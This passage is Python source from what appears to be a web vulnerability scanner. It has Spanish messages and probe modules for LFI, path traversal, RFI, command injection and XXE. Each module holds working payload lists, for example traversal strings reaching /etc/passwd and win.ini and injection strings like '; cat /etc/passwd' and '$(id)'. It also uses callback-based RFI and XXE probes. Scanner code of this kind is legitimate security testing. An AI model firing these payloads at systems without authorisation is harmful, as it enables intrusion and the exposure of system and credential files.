emit({"type": "module", "name": "lfi", "status": "running", "msg": "Probando LFI (inclusion de archivos locales)..."})
lfi_hits = []
LFI_ROUTES = ["", "/file", "/page", "/index.php", "/view", "/download", "/read"]
LFI_PARAMS = ["file", "page", "path", "inc", "include", "lang", "doc", "view", "template"]
LFI_PAYLOADS = ["/etc/passwd", "../../../../../../etc/passwd",
"php://filter/convert.base64-encode/resource=index.php",
"expect://id", "data://text/plain;base64,SSBsb3ZlIGh0"]
for rt in LFI_ROUTES:
base_url = target.rstrip("/") + rt
for param in LFI_PARAMS:
for p in LFI_PAYLOADS:
if check_control(scan_id, "lfi") == "stop":
emit({"type": "done", "summary": "Escaneo detenido"}); return
if check_control(scan_id, "lfi") == "skip":
break
rr = req("GET", base_url, {param: p})
if rr.get("code") == 200 and ("root:" in rr.get("body", "") or
"bin/bash" in rr.get("body", "") or
"<?php" in rr.get("body", "")):
lfi_hits.append(f"{rt or '/'}{param}={p}")
emit({"type": "finding", "severity": "high", "module": "lfi",
"detail": f"LFI en '{base_url}' param '{param}' con: {p} (contenido de archivo expuesto)"})
break
time.sleep(0.02)
if lfi_hits:
break
if lfi_hits:
break
emit({"type": "module", "name": "lfi", "status": "done", "msg": f"LFI: {len(lfi_hits)} hallazgo(s)", "findings": lfi_hits})
done += 1
emit({"type": "progress", "done": done, "total": total})
# 8) Path Traversal (directory traversal directo en rutas/params)
if check_control(scan_id, "traversal") == "stop":
emit({"type": "done", "summary": "Escaneo detenido"}); return
emit({"type": "module", "name": "traversal", "status": "running", "msg": "Probando Path Traversal (../)..."})
trv_hits = []
TRV_ROUTES = ["", "/download", "/file"]
TRV_PARAMS = ["file", "path", "name", "img"]
TRV_PAYLOADS = ["../../../../../../etc/passwd", "..%2f..%2f..%2fetc%2fpasswd",
"....//....//....//etc/passwd", "..\\..\\..\\windows\\win.ini",
"%2e%2e%2f%2e%2e%2fetc%2fpasswd"]
for rt in TRV_ROUTES:
base_url = target.rstrip("/") + rt
for param in TRV_PARAMS:
for p in TRV_PAYLOADS:
if check_control(scan_id, "traversal") == "stop":
emit({"type": "done", "summary": "Escaneo detenido"}); return
if check_control(scan_id, "traversal") == "skip":
break
rr = req("GET", base_url, {param: p})
if rr.get("code") == 200 and ("root:" in rr.get("body", "") or
"[extensions]" in rr.get("body", "") or
"for 16-bit app support" in rr.get("body", "").lower()):
trv_hits.append(f"{rt or '/'}{param}={p}")
emit({"type": "finding", "severity": "high", "module": "traversal",
"detail": f"Path Traversal en '{base_url}' param '{param}' con: {p}"})
break
time.sleep(0.02)
if trv_hits:
break
if trv_hits:
break
emit({"type": "module", "name": "traversal", "status": "done", "msg": f"Traversal: {len(trv_hits)} hallazgo(s)", "findings": trv_hits})
done += 1
emit({"type": "progress", "done": done, "total": total})
# 9) RFI (Remote File Inclusion) - incluye un recurso externo controlado
if check_control(scan_id, "rfi") == "stop":
emit({"type": "done", "summary": "Escaneo detenido"}); return
emit({"type": "module", "name": "rfi", "status": "running", "msg": "Probando RFI (inclusion remota) via callback OOB..."})
rfi_hits = []
RFI_TARGETS = ["/include"]
RFI_PARAMS = ["url"]
# URL del callback local: el server objetivo intentaria cargar este recurso
cb_url = f"http://{oob_host}:{oob_port}/{oob_token}.txt"
for rt in RFI_TARGETS:
base_url = target.rstrip("/") + rt
for param in RFI_PARAMS:
for p in [cb_url]:
if check_control(scan_id, "rfi") == "stop":
emit({"type": "done", "summary": "Escaneo detenido"}); return
if check_control(scan_id, "rfi") == "skip":
break
rr = req("GET", base_url, {param: p}, timeout=5)
if wait_oob_responsive(scan_id, "rfi", 1.2):
rfi_hits.append(f"{rt or '/'}{param}={p}")
emit({"type": "finding", "severity": "high", "module": "rfi",
"detail": f"RFI OOB en '{base_url}' param '{param}': el servidor intento cargar {p}"})
break
time.sleep(0.01)
if rfi_hits:
break
if rfi_hits:
break
emit({"type": "module", "name": "rfi", "status": "done", "msg": f"RFI: {len(rfi_hits)} hallazgo(s) (OOB)", "findings": rfi_hits})
done += 1
emit({"type": "progress", "done": done, "total": total})
# 10) RCE (command injection en parametros)
if check_control(scan_id, "rce") == "stop":
emit({"type": "done", "summary": "Escaneo detenido"}); return
emit({"type": "module", "name": "rce", "status": "running", "msg": "Probando RCE (inyeccion de comandos)..."})
rce_hits = []
RCE_ROUTES = ["", "/ping", "/cmd", "/exec", "/run", "/api/exec", "/cgi-bin/test"]
RCE_PARAMS = ["cmd", "command", "exec", "query", "ip", "host", "ping", "url", "input", "q"]
RCE_PAYLOADS = [";id", "|id", "`id`", "$(id)", "&&id", "; cat /etc/passwd",
"| whoami", "';id;'", "||id", "& echo HTSCNRCE"]
for rt in RCE_ROUTES:
base_url = target.rstrip("/") + rt
if rce_hits: break
for param in RCE_PARAMS:
if rce_hits: break
for p in RCE_PAYLOADS:
if check_control(scan_id, "rce") == "stop":
emit({"type": "done", "summary": "Escaneo detenido"}); return
if check_control(scan_id, "rce") == "skip":
break
rr = req("GET", base_url, {param: p}, timeout=5)
body = (rr.get("body", "") or "")
if ("uid=" in body and "gid=" in body) or "HTSCNRCE" in body or \
("root:x:" in body and len(body) > 50):
rce_hits.append(f"{rt or '/'}{param}={p}")
emit({"type": "finding", "severity": "critical", "module": "rce",
"detail": f"RCE en '{base_url}' param '{param}' con: {p}"})
break
time.sleep(0.02)
emit({"type": "module", "name": "rce", "status": "done", "msg": f"RCE: {len(rce_hits)} hallazgo(s)", "findings": rce_hits})
done += 1
emit({"type": "progress", "done": done, "total": total})
# 11) XXE (XML External Entity) - OOB via callback local
if check_control(scan_id, "xxe") == "stop":
emit({"type": "done", "summary": "Escaneo detenido"}); return
emit({"type": "module", "name": "xxe", "status": "running", "msg": "Probando XXE (entidad externa) via callback OOB..."})
xxe_hits = []
XXE_ENDPOINTS = ["/", "/xml"]
payload = (
f'<?xml version="1.0"?>'
f'<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://{oob_host}:{oob_port}/{oob_token}">]>'
f'<foo>&xxe;</foo>'
)
for ep in XXE_ENDPOINTS:
if check_control(scan_id, "xxe") == "stop":
emit({"type": "done", "summary": "Escaneo detenido"}); return
if check_control(scan_id, "xxe") == "skip":
break
rr = req("POST", target.rstrip("/") + ep, data=payload, raw=True, timeout=5)
if wait_oob_responsive(scan_id, "xxe", 1.2):
xxe_hits.append(ep or "/")
emit({"type": "finding", "severity": "high", "module": "xxe",
"detail": f"XXE OOB en '{ep or '/'}' (el parser solicitó recurso externo)"})
break
time.sleep(0.02)
emit({"type": "module", "name": "xxe", "status": "done", "msg": f"XXE: {len(xxe_hits)} hallazgo(s) (OOB)", "findings": xxe_hits})
done += 1
emit({"type": "progress", "done": done, "total": total})
stop_oob()